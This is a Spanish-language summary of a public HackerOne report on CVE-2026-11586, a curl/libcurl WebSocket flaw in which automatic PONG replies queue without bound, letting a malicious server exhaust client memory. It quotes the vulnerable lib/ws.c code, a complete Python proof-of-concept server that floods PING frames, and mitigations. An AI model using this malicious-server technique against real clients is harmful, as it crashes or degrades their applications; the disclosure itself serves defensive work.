Reports
BAJA[DENEGACIÓN DE SERVICIO]#3788931

Agotamiento de memoria en el WebSocket de curl por los PONG automáticos (CVE-2026-11586)

La cola interna de respuestas PONG automáticas de curl crecía sin límite efectivo. Un servidor WebSocket malicioso podía forzar el consumo de memoria del cliente hasta provocar su caída por falta de memoria.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Cuando curl y libcurl abren una conexión WebSocket, responden de forma automática a cada trama PING que reciben con una trama PONG, salvo que la aplicación active la opción CURLWS_NOAUTOPONG. El investigador evergarden1123 descubrió que esas respuestas automáticas se encolaban en un búfer de envío interno sin un límite efectivo, lo que permitía a un servidor WebSocket malicioso agotar la memoria del proceso cliente. El fallo recibió el identificador CVE-2026-11586 y se clasificó con severidad baja.

El problema está en lib/ws.c. La función que prepara el PONG lo añade a ws->sendbuf y descarta el resultado del intento de vaciado del búfer (ws_flush). Ese búfer se inicializa con la opción BUFQ_OPT_SOFT_LIMIT, es decir, con un límite "blando" que no detiene de forma dura la acumulación:

/* lib/ws.c */
if(!ws->enc.payload_remain) {
  CURLcode result = ws_enc_add_pending(data, ws);
  if(!result)
    (void)ws_flush(data, ws, Curl_is_in_callback(data));
  return result;
}

/* sendbuf usa BUFQ_OPT_SOFT_LIMIT */
Curl_bufq_init2(&ws->sendbuf, chunk_size, WS_CHUNK_COUNT, BUFQ_OPT_SOFT_LIMIT);

Como el servidor deja de leer los datos del cliente, los PONG generados no se pueden enviar y se quedan acumulados en el búfer. Al no existir contrapresión (backpressure) real, la cola sigue creciendo mientras lleguen más PING.

Pasos de reproducción

El investigador aporta una prueba de concepto autónoma en Python que levanta un pequeño servidor WebSocket malicioso y lanza curl contra él. El servidor completa el handshake WebSocket válido, deja de leer los datos del cliente y envía de forma continua tramas PING vacías (\x89\x00). Para evidenciar el agotamiento, se impone al proceso de curl un límite de espacio de direcciones de 180 MiB con RLIMIT_AS:

CURL_BIN="${CURL_BIN:-./build-codex-h2-nosan/src/curl}" python3 - <<'PY'
import base64, hashlib, os, re, resource, socket, subprocess, threading, time
st = {}

def srv():
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("127.0.0.1", 0))
    s.listen(1)
    st["p"] = s.getsockname()[1]

    c, _ = s.accept()
    c.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
    req = b""
    while b"\r\n\r\n" not in req:
        req += c.recv(4096)

    k = re.search(rb"(?im)^Sec-WebSocket-Key:\s*(\S+)", req).group(1)
    a = base64.b64encode(
        hashlib.sha1(k + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest()
    ).decode()
    c.sendall(
        (
            "HTTP/1.1 101 Switching Protocols\r\n"
            "Upgrade: websocket\r\n"
            "Connection: Upgrade\r\n"
            f"Sec-WebSocket-Accept: {a}\r\n\r\n"
        ).encode()
    )

    f = b"\x89\x00" * 65536
    try:
        while True:
            c.sendall(f)
    except OSError:
        pass

threading.Thread(target=srv, daemon=True).start()
while "p" not in st:
    time.sleep(0.01)

rc = subprocess.run(
    [
        os.environ["CURL_BIN"],
        "--silent",
        "--show-error",
        "--max-time",
        "8",
        f"ws://127.0.0.1:{st['p']}/",
    ],
    preexec_fn=lambda: resource.setrlimit(
        resource.RLIMIT_AS, (188743680, 188743680)
    ),
).returncode

print("curl rc =", rc)
PY

El resultado esperado es que curl termine por falta de memoria:

curl: (27) Out of memory
curl rc = 27

El investigador observó que, incluso con --max-time 8, la ruta por defecto de la línea de comandos alcanzaba alrededor de 1 GiB de RSS en unos 2 segundos en local (en concreto, unos 1,05 GiB en torno a 1,96 segundos antes de que el verificador lo detuviera). Un cliente de control configurado con CURLWS_NOAUTOPONG procesó la misma entrada sin un crecimiento de memoria comparable.

Impacto

Un servidor WebSocket remoto podía forzar el crecimiento sin límite de la cola interna de PONG automáticos de curl y agotar el presupuesto de memoria del proceso cliente usando únicamente entrada de protocolo legítima tras un handshake válido. Según la memoria disponible y los límites de ejecución, esto podía:

  • Terminar la herramienta de línea de comandos curl con CURLE_OUT_OF_MEMORY (código de salida 27).
  • Disparar la gestión de OOM del sistema o del contenedor.
  • Provocar un fallo en una aplicación que usara libcurl.

El problema afectaba al comportamiento WebSocket por defecto y no requería mal uso de la API, acceso local ni tramas mal formadas. Según el triaje preliminar del investigador, la ruta vulnerable de encolado de los PONG automáticos se introdujo con el commit 0b09132877 ("websocket: handling of PONG frames"); la primera versión publicada que parece contenerla es la 8.16.0, mientras que la 8.15.x y anteriores no incluirían esta misma implementación.

Remediación

El reporte figura como resuelto en HackerOne. Como mitigaciones mientras tanto, el investigador propone:

  • Usar un --max-time / CURLOPT_TIMEOUT más pequeño si la transferencia WebSocket no necesita permanecer abierta mucho tiempo. Esto solo reduce la ventana de ataque: no añade contrapresión.
  • Activar CURLWS_NOAUTOPONG si la aplicación puede gestionar por sí misma las tramas PING, ya que así se evita por completo la ruta vulnerable de respuesta automática.